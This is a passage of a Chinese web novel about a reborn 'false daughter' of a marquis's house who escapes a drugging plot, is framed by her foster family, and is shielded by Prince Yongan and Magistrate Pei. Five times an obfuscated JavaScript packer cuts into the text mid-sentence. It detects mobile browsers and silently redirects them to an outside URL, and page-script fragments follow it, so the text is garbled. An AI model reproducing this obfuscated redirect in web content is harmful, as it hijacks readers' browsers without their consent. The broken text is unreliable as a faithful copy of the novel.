上辈子,二皇子不会就是用管饭的借口诓得人为他卖命的吧?
两人交谈间,尉迟敦一直乖乖地在数数。
“十八、十九……”
只是数着数着又忍不住喊热。
“妹妹,好热。”
喊完忘了自己数到多少,又一根筋地从头开始数。
“一、二、三……”尉迟敦捂着眼睛继续数。
看着九栀苍白的脸色,晏逐星知道她应该是刚刚和她动手时伤口又撕开了。
当机立断让她换上了那个丫鬟的衣裳,随后和九栀合力把丫鬟的尸体扔到了废弃的水井底下。
“待会遇到我的丫鬟,你就说我的鞋子湿了,让她带你去拿一双新的。出了侯府左拐到巷口,我的马车在那,你把这个给车夫,他会送你去安全的地方。”
晏逐星把双鲤的模样打扮告诉她之后,又将提前准备好的一支木簪子交给了她。
两人正准备离开,尉迟敦就冲晏逐星扑了过来。
“难受,抱抱……”他懵懵懂懂地想要伸手想去撕扯晏逐星的衣裳。
晏逐星退后几步,喊了几声“哥哥”。
但他似乎已经失去了理智,没有任何回应。
晏逐星便意识到他这是药效彻底发作了。
她让九栀先走,自己留下。
她不敢出手伤尉迟敦,毕竟他现在神志不清,动作行为毫无章法。
她怕动手拿捏不准分寸,一个不注意把他打死,那可就麻烦了。
她只能带着他在院子里溜圈子。
“热,好热……”尉迟敦一边哇哇大哭一边追晏逐星。
他身上的衣服被他越脱越少,只剩一件单衣,晏逐星快急疯了。
这样下去迟早会有人来。
但她现在跑哪尉迟敦追到哪,若是往外跑,被别人看到那更麻烦。
就在她一筹莫展之际,一个人影从院墙上一跃而下,落在了尉迟敦身后。
“啪”的一击,尉迟敦便晕倒了。
……
“你说什么?敦儿怎么会不见了。”烈国公夫人赵玉润霍然起身,身子摇摇欲坠。
她这辈子最亏欠的就是儿子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497759|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>当初夫君在玉门关外遭了暗箭,她守着昏迷的丈夫昼夜诵经,却忽视了六岁的儿子,让他烧了好几日。
然后害他变成了一个傻子。
她悔不当初。
后来在佛前供了十年长明灯,好不容易得了个粉团似的女儿。
谁知他们的母女缘分竟然那般短,去年才十三岁的女儿,竟然意外坠湖去世了。
她大受打击,要不是为了儿子,她恐怕撑不到现在。
儿子就是系着她三魂七魄的命灯,若连这最后的希望都要生生掐灭,她也不想活了。
“快,快去找他。”赵玉润哆哆嗦嗦地开口。
威宁侯老夫人赶忙安慰她别着急,命令下人去搜院子,务必要将尉迟敦找到。
赵玉润坐不住:“不,我得亲自去找他。”
和她交好的夫人也赶忙起身,陪着她一块找儿子。
赵云霏给了晏明月一个眼神,晏明月怯怯开口:“我姐姐去更衣好半天了,也没回来,我有些担心她是不是出事了。老夫人能不能也帮忙派人找找她?”
威宁侯老夫人听到这话,眉头微不可察地皱了皱。
傻子世子和来赴宴的侯府千金同时失踪,这可不是什么好兆头。
“去,也找找定远侯府大小姐。”老夫人再次下了命令。
赵云霏给翠儿使了个眼神,示意她将寻人的烈国公夫人引去荒院。
不曾想,一行人走到半路,就看到晏逐星落落大方地出现在众人面前。
她的发髻有些乱,但衣裳依旧齐整。
赵云霏和晏明月瞳孔骤缩。
这怎么可能!
晏逐星不是应该被尉迟敦按在荒院里生米煮成熟饭吗,为什么看起来毫发无损。
第16章 也是重生的?
晏逐星看向烈国公夫人:“夫人是在寻世子吧?”
烈国公夫人忙不迭点头:“是,你可瞧见敦儿了?”
晏逐星温声回答:“世子被永安王送回院中了,正等着夫人呢。”
烈国公夫人顾不得仔细询问什么情况,她心系儿子,道了声多谢便急匆匆地离开了。
赵云霏和晏明月听到“永安王”的名号,一个惊得指甲掐入掌心,另一个更是面色白了又青,青了又白。
赵云霏轻轻推了晏明月一把。
晏明月咬着唇开口:“姐姐,你不是说换衣裳去了吗?怎么衣裳没换还遇上永安王了?”
她问出了在场的人都很好奇的问题。
“这就得问赵大小姐了。”晏逐星看向赵云霏。
“先前你的丫鬟领着我说去暖阁换衣裳,而后久久没出现,我便打算先回宴会上找我的丫鬟。没想到,路上偶遇了永安王和世子爷,他们迷路了,向我问路,我便给他们指了路。”
这个理由合情合理,赵云霏也没法说什么。
她露出一丝尴尬的笑:“翠儿回来我让她给我取了东西,便另行指派了一个丫鬟去接晏姐姐,你们没遇上吗?”
“没有。”晏逐星果断否认。
丝毫不提她们做的那些事情。
丫鬟已经是**,没有证据,她又何必多说。
反正受害人不止她一个。
想必烈国公夫人会很乐意调查清楚谁陷害了她儿子,这事就让她去办吧。
“是我御下不严,让晏姐姐笑话了,待我找到那丫鬟,定狠狠训斥一番,让她给姐姐赔罪。”赵云霏忍气吞声地道歉。
“嗯,时辰不早了。母亲,妹妹,咱们先回吧。”晏逐星看向了温如霜母女。
温如霜先前就看到了女儿和赵云霏的小动作,一下就猜到了两人私底下肯定干了什么她不知道的事情。
听到晏逐星提到永安王和烈国公府世子,心头猛地一跳。
如今晏逐星要回侯府,她当然答应。
“老夫人,我等就先告辞了。”她冲威宁侯府的老夫人行了一礼,随后带着两人离开了侯府。
晏逐星瞧见站在马车边上的半棠,见她冲自己点头,便知道九栀已经安然离开。
她这才放心地登上马车。
上了马车,温如霜想要打探晏逐星遇到永安王说了什么。结果还没等她开口,晏逐星就闭上了眼睛假寐。
晏明月想要张口,却被她横了一眼。
有些话,现在可不方便说。
晏逐星没空管母女俩的眉眼官司,她还在回忆先前遇见永安王的事情。
……
晏逐星万万没想到,从天而降打晕尉迟敦的人竟然是上辈子她用命护住的人。
她也是后来做了鬼,从温如霜等人口中方才知晓,他是永安王,帝后最疼爱的小儿子。
做鬼的晏逐星可以认识他,但现在的晏逐星不可以。
于是她佯装惊恐地询问:“你是谁?”
谢翊宁思忖片刻,说出了自己的**。
“永安王,谢翊宁。”
“臣女见过永安王。”她赶忙行礼。
“不必客气。”谢翊宁盯着眼前的小姑娘,眼里是他自己都没有察觉的温柔。
真是个小可怜,走到哪都要被人暗害。
要是没有他派人盯着,她今日遇到这样的事,可怎么办呀。
他淡淡道:“你待会只需要和烈国公夫人说人在本王这里就行了,事情牵累不到你。”
说完转身就要离开。
“您为什么要帮我?”
谢翊宁的脚步顿了顿,转过身看向她,晏逐星后知后觉地意识到她竟然将心里话问了出来。
谢翊宁定定地看着她,而后挑眉一笑:“你就当是本王上辈子欠了你一命,这辈子报**了。”
说完他命护卫扛走了尉迟敦。
那会儿晏逐星还有些茫然,但这一刻,她忽然反应了过来。
上辈子欠了她一命。
难不成是指在战场上,她用身体护住了他的事?
晏逐星猛地睁开了眼睛,心跳声震得耳膜生疼,恍惚中她好像看见断箭残阳里,谢翊宁铠甲上的那朵血梅正与自己心口的伤重合。
也对。
他们是一箭穿心,同时身亡的。
她一个无人爱的假千金都能重生,天潢贵胄的谢翊宁为何不能。
那日皇后娘娘突如其来的赏赐好像也找到了原因。
什么破阵舞,不过是托词罢了。
过去那么多年,皇后娘娘怎么可能莫名其妙就想起她,这背后必然少不了永安王的推波助澜。
……
烈国公夫人慌慌张张地回了院子,看到儿子面色潮红躺在床上,太医正在替他把脉,顿时吓了一跳。
“敦儿……”她身子一软,差点摔倒在地。
“世子并无性命之忧,夫人可否借一步说话。”谢翊宁伸手搀扶住了她。
听到没有性命之忧,烈国公夫人长长地舒了一口气。
她轻轻拂开他搀扶的手,将袖口褶皱抚平整:“但凭王爷吩咐。”
两人走到隔间谈话,心腹守在门外。
谢翊宁没有绕弯子,直接将真相赤裸裸地说了出来。
“有人给世子下了**,将他引至威宁侯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497760|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
府荒废的院子里,意图将他和定远侯府大小姐关在一起。”
“据本王所知,宴会前,赵云霏和定远侯府大小姐起了口角冲突。而后宴会上,定远侯府大小姐就被丫鬟弄湿了裙摆,被人引去换衣裳。”
他每说一句话,烈国公夫人的脸就白上一分。
“王爷可有证据?”她不愿意相信乖巧懂事的侄孙女竟然敢对自己的儿子下手。
谢翊宁嗤笑一声:“若本王此刻能在这侯府后宅查个明白,明日御史台的折子就该参本王个僭越之罪了。”
“是老身糊涂了。”烈国公夫人也意识到自己言语中的不妥,连忙道歉。
关心则乱,儿子出事,她一下脑筋就转不过弯来了。
她郑重冲谢翊宁行了一礼:“多谢王爷救了我儿。”
“该谢的不是我。”谢翊宁只留下了这么一句话。
烈国公夫人一怔,随后明白了他的意思,该谢的是那位定远侯府的大小姐。
她没有将此事闹大,给烈国公府和威宁侯府都留了面子。
想到儿子在娘家遭遇了这样的事情,她气不打一处来,当即命人将此事告知兄嫂,让他们必须给她一个交代。
她则守在了儿子身旁。
听到太医说服药后出了汗,再泡泡药浴就没事了,她才松了一口气。
赵云霏和晏明月的计划是临时准备的,自然有很多漏洞,因此没多久老威宁侯和老夫人就查到了孙女干的好事。
“跪下!”老侯爷和老夫人觉得十分丢人。
自家的孙女,竟然对长辈下手,还用的是这么下三滥的法子。
赵云霏没想到这么快就东窗事发了,她惊慌失措地看向爹娘,不曾想,爹娘眼里没了往日的宠爱,全都是失望。
“你和那位晏大小姐无冤无仇,你为何要做这种蠢事?!”老夫人气急败坏地询问。
今日乃是她六十大寿,竟然会闹出这样荒唐的事情来。
好在事情没有闹大,不然她真的要被活活气死。
赵云霏双膝重重磕在青砖上,寒意顺着裙裾直往骨髓里钻。她下意识地替自己辩解:“祖母,此事与我无关啊……”
“人证物证确凿,你还敢狡辩。”老夫人气得将手中的茶盏砸向她。
“你当侯府是市井瓦舍,由得你耍这些腌臜手段?若是不说实话,我立刻将你嫁回邵阳去,从此不得入京。”
听到这话,赵云霏“哇”一声就哭了出来。
“祖母,我错了,我不是故意的。”她哭哭啼啼地把事情的经过说了一遍。
“我只是想帮明月妹妹出口气。”
第17章 没想到会听到这样的秘闻
老夫人听完两眼一黑更生气了。
“蠢货,人家拿你当刀子使你还不自知,还一口一个明月妹妹。你且去找你姑婆认错吧,她若不原谅你,你便去庄子上养个三年五载再回来。”
赵云霏这下是彻底慌了。
她没想到后果会那么严重。
她抽噎着喉咙挤出哭腔:“可若是晏逐星和表叔成了,表叔也有媳妇了啊,姑婆不是一直希望表叔能娶妻生子吗。”
烈国公夫人走进来就听到了她这番话,脸上露出不可思议的表情:“你怎么能说出这般不要脸的话来。”
她伸手指着赵云霏的鼻尖,厉声呵斥:“敦儿比定远侯府那位大小姐足足年长十六岁!他当人家爹爹都够岁数了!”
她的尾音陡然拔高,震得窗棂嗡嗡作响,胸口剧烈起伏着,显然气得不轻。
是,她是想过让儿子过正常人的生活娶妻生子。
可也绝对不是找一个尚未及笄的小姑娘啊。
更何况,前几年太医曾告知过她,儿子肾元先天不足,恐有续嗣之艰。
刚刚她和太医再一次确认了这件事情。
原本调养之后儿子或许还有可能延续子嗣,如今被这虎狼之药损伤,恐怕终其一生都无法有孩子了。
想到这里,她悲从中来,拉着嫂子的手哭诉了起来。
“早知如此,今日我便不该带着敦儿回来,让他被人害了,让尉迟家从此**……”
赵云霏听到这样严厉的指责,根本承受不住,软绵绵栽倒在地,晕了过去。
威宁侯老夫人绞着帕子浑身发抖,老侯爷额角青筋暴起,他们没想到事情竟然闹到了这样无法挽回的地步。
但当着烈国公夫人的面,他们自然不能把责任都怪到小孙女头上。
于是便将所有的过错都推到了晏明月的头上,将赵云霏做的事情说成打抱不平。
……
晏逐星一行人回到定远侯府。
温如霜本想留下晏逐星谈话,料想她应该也不会和自己说实话,便没有自讨没趣,让她离开了,只留下了自己的女儿。
“明月,你和娘亲说实话,今日烈国公府世子的事情,是不是和你有关?”
晏明月支支吾吾,没敢说实话。
温如霜沉下了脸,逼问道:“你上回自作主张已经害得侯府丢了面子,若你再闹出什么事情来,你爹爹肯定不会原谅你。”
听到她这么说,晏明月顿时慌了,她赶忙道:“不是**的,是赵云霏。”
她竹筒倒豆子似的把事情的来龙去脉都说了一遍。
“你傻啊,她嫁去烈国公府对咱们有什么好处。”温如霜被女儿气得头疼。
从前怎么没发现女儿这么蠢呢。
“她现在恨急了咱们全家,她若高嫁,定然会利用婆家对付咱们,到时候咱们可就是哑巴吃黄连,有苦说不出了。”
“此事若是败露,烈国公府和威宁侯府是姻亲不一定会翻脸,说不定两家还要共同恨上咱们家。”
听到母亲的分析,晏明月一阵后怕。
她还是太冲动了。
“娘。”她猛地抓住母亲手腕,“现下可有什么转圜的余地?”
温如霜反手按住女儿颤抖的手,一字一句道:“此事,只能推到晏逐星头上。”
这件事情宜早不宜迟。
她果断领着晏明月,又去了一趟威宁侯府。
“他们又来做什么?”威宁侯夫人钱氏有些不满和疑惑。
婆母的六十大寿闹出了这么一档子事,公公婆婆可气得不轻,还连累她女儿被关到祠堂禁闭。
现在她最不待见的就是定远侯一家。
“说是来赔礼道歉的。”下人恭恭敬敬地回禀。
钱氏眉头微皱,最终还是让人把她们母女二人领了进来。
“钱姐姐,今日之事,真是对不住了。”温如霜放低了姿态,又让丫鬟将赔礼的东西呈了上来。
钱氏慢悠悠地喝了一口茶:“哦?什么事啊?”
“家门不幸。我那长女,唉,真是不知羞耻。竟然想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497761|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要给烈国公世子下药。”温如霜叹了一口气。
钱氏端着茶杯的手一顿,不明白她为什么要把这个黑锅揽到自己女儿身上去。
“前些日子,她知道她不是我亲生的骨肉后,就一直担心我们不要她。先是闹上了京兆府,今日又想攀高枝……”温如霜掏出帕子抹眼泪。
她决意舍弃晏逐星后,就要把这事说出来。
“什么?她不是你亲生的?当时不是说双生子么。”钱氏一惊,没想到会听到这样的秘闻。
“明月一出生就被接生婆给调换了,后来夫君外出偶遇,才找回了她。但当时我们已经养了星儿十年,也舍不得将她送走。毕竟孩子是无辜的呀。”温如霜颠倒黑白。
这套说辞说了那么多年,她自己都要信以为真了。
钱氏脸上的错愕愈发明显。
“但没想到,明月找回来之后,她竟然处处针对明月。上回我忍不住将她身世真相说出来,结果呢,她非但不感恩,还恨上了我们。”温如霜眼泪扑簌簌地往下落。
一旁的晏明月也低声抽泣了起来。
母女二人眼眶通红,看起来可怜极了。
“唉,真是辛苦妹妹你了。这么多年,竟然养了个白眼狼。”钱氏一边安慰她,一边思索着她说这番话的用意。
温如霜之所以这么说,多半是想要舍弃养女保全亲生女儿。
她心知肚明,事情在自家发生,药也是女儿准备的,此事他们脱不开干系。
但如果有人能背上这个黑锅,女儿便可全身而退。
见她眉眼中有所松动,温如霜开口提醒:“今日之事,她那性子定然不会善罢甘休,若我们不提前昭告天下,恐怕咱们两家的声誉都会受损啊。”
钱氏也意识到了晏逐星的性子绝对不是好相与的。
寻常姑娘,哪敢告到京兆府去。
就在她犹豫不决要不要合作时,丫鬟匆匆跑了进来,凑到她身旁低声耳语。
下一瞬,温如霜便瞧见她脸色大变。
第18章 就说……我要**
“引世子爷过去的丫鬟尸身找到了,就在水井底下。”
钱氏听完丫鬟的汇报,一瞬间就下定了决心。
一定要把黑锅扣在晏逐星身上。
这事只能是她做的。
毕竟一个尚未及笄就敢**抛尸的女子,绝对不是什么善茬,他们要先下手为强,将她按到尘埃里去,让她再也无法和他们作对。
“那妹妹此番前来,是想让我怎么做?”钱氏直接把事情挑开了说。
温如霜客客气气道:“我会让儿子押着那个逆女去烈国公府给国公爷和夫人负荆请罪。还请夫人替我们从中牵线搭桥,且不要将此事怪罪到明月身上。”
钱氏点点头,表示明白了。
她看向了晏明月:“那云霏那边?”
“云霏姐姐什么都不知道,她只是同情我被姐姐欺负,替我说了几句公道话罢了。姐姐却因此记恨上她,还说日后嫁到烈国公府,成了她的长辈,定然会让她好看。”晏明月按照母亲教的话,说了出来。
钱氏满意地点了点头。
她的云霏已经在相看人家,名声万不能受损。
温如霜这个养母出面,再加上晏明月这个妹妹作证,以及他们一家和烈国公府那边通过气后,就可以把晏逐星说成一个下作胚子。
待这盆脏水泼瓷实了,他们便是遭了祸害的可怜人。
唯有晏逐星一个恶人。
……
晏逐星回到院子便清点起自己的东西。
她重重拍桌,厉声质问道:“皇后娘娘赏赐的那只金钗怎的不见了?”
她今日带双鲤出门做客本就是局,为的就是用这个借口把屋子里所有的下人都换了。
“搜,掘地三尺也要将本小姐的金钗找出来。若是找不出来,你们全都不用留下了。”晏逐星示意双鲤动手搜查。
满屋奴婢霎时跪成一片,连连求饶。
“奴婢当真不知,求小姐开恩啊!”
就在晏逐星如火如荼搜查金钗下落时,温如霜领着晏明月和晏明修来了玉澜院。
“晏逐星,你好大的威风!真把自己当侯府大小姐了?”瞧见满院子跪下的丫鬟,晏明修忍不住拿话刺她。
自打上回被打之后,他就厌恶极了这个妹妹。
连装都不装了。
晏逐星眉头微皱,这几人来者不善啊。
看着他们身后跟着带刀的护卫,晏逐星的心沉了沉。
她压低声音吩咐身旁慌张的双鲤:“待会趁他们不注意,去京兆府找裴大人,他若不来,便去找永安王。就说……我要**。”
她不确定永安王所谓的报恩,是不是今天就用完了。
还是先去找裴明镜为妙。
果不其然,和她猜测的一样,温如霜一开口就是污蔑。
“星儿,你太让我们失望了,你怎么能做出那样下作的事情,竟然给烈国公世子下药!”
晏明修冷笑一声:“娘,你和她说那么多做什么。不是从您肚子里爬出来的,喂多少参汤也灌不出人样。还是赶紧将她捆了送到国公府请罪去吧。”
一旁的下人们听到这话,忍不住交头接耳了起来。
什么叫不是从夫人肚子里爬出来的。
莫非大小姐并非夫人的亲生孩子?
晏逐星警惕地盯着他们。
温如霜往日里说起她的身份都是屏退了旁人的,如今竟然光明正大的挑开了说,想必是要将她作为弃子,送去顶罪了。
她快言快语反驳道:“就因为我不是亲生的,所以你们要将晏明月这个亲女儿做的龌龊事情盖到我头上,还在这假惺惺地装什么好人!”
“你胡说,明月才不会干这样的事情。”晏明修第一时间站出来维护亲妹妹。
晏明月脸色煞白,又气又急,跺脚催促道:“捂了她的嘴,将她送去烈国公府!”
母亲和哥哥跟晏逐星废话什么,就该一来就堵住她的嘴,怎么还能让她胡言乱语呢。
这下好了,这些贱婢该怀疑她了。
晏明月脸涨得通红。
“拿下她!”晏明修一个眼神,护卫们便冲晏逐星冲了过来。
晏逐星意识到他们要彻底撕破脸,撒腿就跑。
温如霜决不会允许她活蹦乱跳地去国公府请罪,一定会把她打个半死,让她说不出话来,认下那个罪名。
她不能坐以待毙。
“愣着干嘛,抓住她呀!”温如霜快气**。
晏逐星身手灵活,她不打,只跑,那几个护卫想要圈住她,却让她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497762|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找到了空隙钻了出去。
玉澜院一阵鸡飞狗跳。
双鲤趁着主子们不注意,悄悄溜出了玉澜院。
晏逐星知道跑不掉,蹭一下爬上了院子外那棵大树上,在场的人齐齐傻眼了。
他们没见过哪家侯府千金会爬树的。
“晏逐星,你给我下来!”温如霜气得脸色铁青。
“不下,我要下去,你会让人打死我的。你们连下药的事情都能栽赃给我,还有什么事情做不出来!”晏逐星坚决不下去。
她好不容易养好了一点身体,要是再被打一顿,那可就前功尽弃了。
温如霜有些懊恼,早知道就先诓骗晏逐星出府,按住她之后打一顿,让她老实了再说。
反正只要坐实了她给烈国公府世子下药的罪名,皇后娘娘定然不会再召她入宫。
她还不是任由自己捏圆搓扁。
温如霜勃然大怒道:“拿梯子来,必须将这孽女拿下!”
下人搬来梯子爬上树,想要将晏逐星扯下去。
晏逐星抓紧树枝,抬腿蹬向最先攀上来的护卫,那人被她的鹿皮靴底踏中肩头,哐当脱手摔了下去。
而后还有人要上树,晏逐星便捡起枝头的积雪往下砸,下人们哎哟哎哟的叫着,不敢轻易靠近。
温如霜气得浑身发颤,齿缝间迸出森然冷意:“拿斧子来,将这树给我砍了!”
她就不信,她治不了一个小丫头。
下人拿来斧子,两个壮汉抡起斧头就往树干上劈,树身剧烈摇晃,树皮碎块夹杂着积雪簌簌往下掉。
晏逐星赶紧抱住晃动的树枝,这树的主干比水桶还粗一倍,此刻竟被斧头劈得直颤。
她暗暗着急,后颈渗出冷汗。
她如今的身手比不得前世,若就这样摔下去,肯定会受重伤。
再加上底下的护卫虎视眈眈,她恐怕在劫难逃了。
温如霜的眉头渐渐舒展开来,晏明修和晏明月的表情也逐渐幸灾乐祸。
晏逐星只能在心底暗暗祈祷双鲤快点把救兵搬来。
若是不来,她只能看准时机往下跳,然后挟持晏明月了。
双方僵持中,院外忽然传来了一个懒洋洋的声音。
“哟,这侯府可真热闹呀。”
第19章 他来不比裴明镜更让她放心?
众人齐齐看了过去,发现是定远侯回来了,还带了一个人。
先前说热闹的正是此人。
“还不赶紧见过永安王。”定远侯开口催促。
温如霜等人一惊,永安王怎么来了。
他们赶忙行礼:“见过永安王。”
树上的晏逐星看到谢翊宁,下意识地就寻找双鲤的身影,结果没看到人。
她忍不住皱起了眉头。
怎么永安王来了,双鲤却不见了?
不会是出什么事了吧。
“这又在闹什么。”定远侯面色阴沉地看着他们。
他才被皇上训斥了治家无方,如今又让永安王撞到了后宅乱糟糟的场景,还不知道明日皇上会怎么训斥他呢。
温如霜不知道为何永安王会忽然出现在侯府。
但事已至此,她不得不把谎话继续说下去:“今日去威宁侯府做客,星儿她一时糊涂给烈国公府世子下了药,我想让她去国公府请罪,她却不愿意。”
定远侯听到这话,下意识地看了谢翊宁一眼。
这等丑事竟然让永安王听到了。
他顿时气不打一处来,呵斥晏逐星的声音愈发凌厉:“逆女!你竟然如此胆大妄为!还不赶紧滚下来。”
晏逐星还没来得及反驳,就看到双鲤急匆匆地领着裴明镜走了过来。
见晏逐星站在十几尺高的树上,双鲤吓得脸色煞白。
她张口,声音都带着颤抖:“小姐,你,你可千万不要做傻事啊。我把裴大人请来了,裴大人一定会为您主持公道的。”
定远侯一家子听到这话,脸色都跟腌过三秋的咸菜似的,十分难看。
裴明镜怎么也又来了。
一个永安王就够难缠的了,再来一个裴明镜,今日这个脸真是丢大了。
裴明镜先看了树上的晏逐星一眼,方才开口:“见过定远侯,见过永安王。”
看到自己搬的救兵来了,晏逐星悬着的心落回了原处。
裴明镜和永安王都在,温如霜没法要她的命了。
双鲤带着裴明镜,那就说明永安王不是她找来的。
那为什么永安王来得那么快呢?
谢翊宁一直用眼角余光注视着她。
见她瞧见裴明镜后露出了放松的表情,心里莫名有些不满。
怎么,他来不比裴明镜更让她放心?
“不知裴大人今日前来,所为何事?”定远侯挤出笑脸看向裴明镜。
裴明镜拱拱手道:“本官接到这丫鬟的报案,说贵府大小姐性命垂危,让本官来瞧瞧。职责所在,还望侯爷谅解。”
定远侯一家看向双鲤的眼神好似淬了毒一般,这吃里扒外的丫鬟,竟然敢将事情闹到京兆府。
双鲤吓了一跳,低着头躲到了裴明镜身后。
定远侯按下心底的烦躁,开口道:“裴大人,此乃家务事,就不劳烦您了。这丫鬟不懂事,待会我就好好教训她。”
“侯夫人先前说了,我不是她的女儿,这算什么家务事。”晏逐星朗声开口。
这话一出,一片哗然。
晏逐星借着还没挪开的梯子回到了地上,双鲤赶忙跑到了她身边,替她掸去身上的残雪。
裴明镜若有所思地盯着她。
晏逐星先前在树上就酝酿了好一会儿情绪,走到裴明镜面前时,她的眼眶早已红透,眼泪在眼眶里打着转转,看起来可怜极了。
“请裴大人替我做主!”晏逐星跪在地上,将温如霜母女冤枉她的来龙去脉说了一遍。
温如霜大喊:“冤枉啊。裴大人,您切莫相信她的一面之词。是她得知自己并非我和侯爷的亲生骨肉,害怕被我们赶出侯府,所以才做了这样的错事。”
双方各执一词,裴明镜没有马上下定论。
“您若不信,大可以派人去威宁侯府询问。只不过事情牵涉到侯府还有烈国公府,还请裴大人低调行事。”温如霜豁出去了。
反正她已经和威宁侯夫人商量好了,他们那边的下人也会出来作证。
晏逐星要闹,那她就是自寻死路。
听到温如霜这话,晏逐星便意识到她应该是和威宁侯府串通好了。
她的心沉到了谷底。
“本官知晓了。”裴明镜点了点头。
“查证需要时间,明日我会再次登门拜访。届时还需要夫人和大小姐为本官答疑解惑。”
“好。”温如霜底气十足。
一夜的时间,足够做很多事情了。
裴明镜离开后,定远侯抬脚想要踹地上的晏逐星,却被谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497763|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翊宁轻轻抬脚一挡,踉跄了好几步。
“王爷?”
他这才想起永安王还没走呢。
“本王的玉坠还没找到,你把人踢坏了,我问谁去。”谢翊宁冷冷地瞥了他一眼。
“对对对,王爷您问。”定远侯想起了永安王先前来府上的事情。
“你这死丫头,在威宁侯府时,你可瞧见了王爷的玉坠?”他催促道,想要晏逐星赶快回答,好把永安王送走。
晏逐星一瞬间就反应了过来,这是谢翊宁上门找她的托词。
“有点印象,但我现在有些头疼,想不起来了。”晏逐星扶着额头低喃,假意思索了起来。
谢翊宁微微一笑:“无妨,大小姐可以慢慢想。”
他微微抬起下巴,看向定远侯。
“本王待会让人送一个丫鬟到侯府来,这样令嫒一想起玉坠的下落,她便能及时回府告知本王。侯爷应该不介意吧?”
“不介意,当然不介意。”定远侯急忙摇头。
这可是帝后最疼爱的儿子,满京城里谁敢拒绝他的要求呀。
温如霜母女听到这话,脸色骤变。
永安王这哪里是命人来找玉坠,分明是故意让人来护着这野丫头。
晏逐星这个**,到底怎么勾搭上永安王的!
谢翊宁走后不久,永安王府便送来了一个叫衔蝉的丫鬟。
温如霜知道今夜不能对晏逐星动手了,只得悻悻地带着下人离开。
定远侯将温如霜叫回寝屋中,冷着脸道:“你说实话,到底是怎么一回事?不是说好的不要将她身份抖露出来么。”
温如霜咬定了这事就是晏逐星做的。
上回的事情已经让侯爷对明月不满了,若是知道这事是她闹出来的,肯定要罚她了。
反正晏逐星是个养不熟的白眼狼,还不如一不做二不休,趁着这个机会将她除去。
定远侯听完,脸上闪过一抹狠厉:“既是如此,那你便将事情处理好,莫要让裴明镜又抓住什么错处。”
“嗯,这次绝对不会有问题。”温如霜重重点头。
她已经安排好后招了。
这一次,她势在必得,一定要让晏逐星承认错误。
从此以后,只能在她面前摇尾乞怜。
第20章 顺水推舟,定下两家的婚事吧
“今天威宁侯老夫人寿宴上的事你们听说了吗?”
“什么事?”
“定远侯府的大小姐给烈国公世子下了那种药,她想要勾引世子爷。”
“天呐,世子爷都能当她爹了吧,还是个傻的,图什么呀。”
“这你就不知道了吧,这位大小姐是假的,小时候家里人将她和真千金调包了。她害怕被赶走,去过穷苦日子,可不得拼命想办法留下。”
这种香闺秘闻,最容易传开。
再加上温如霜安排的人从中推波助澜,不过一夜之间,几乎全京城的人都知道了“侯府假千金给国公府世子下**”的事情。
就连东市卖炊饼的老汉都能说上两句。
那绘声绘色的形容,仿佛他当时就在现场。
很快,这消息就传到了烈国公府。
烈国公夫妇面对面坐着,表情凝重。
威宁侯府昨日已经派人知会过他们,说先前是他们弄错了,害人的不是晏明月,而是晏逐星。
不久后定远侯夫人会带着她上门请罪。
如今人没来请罪,这种流言反倒满天飞。
联想到前些日子晏逐星告上京兆府的事情,其中的弯弯绕绕,他们一眼便看穿了。
“夫人,咱们当真要为难一个无辜的小姑娘?”烈国公面色阴沉。
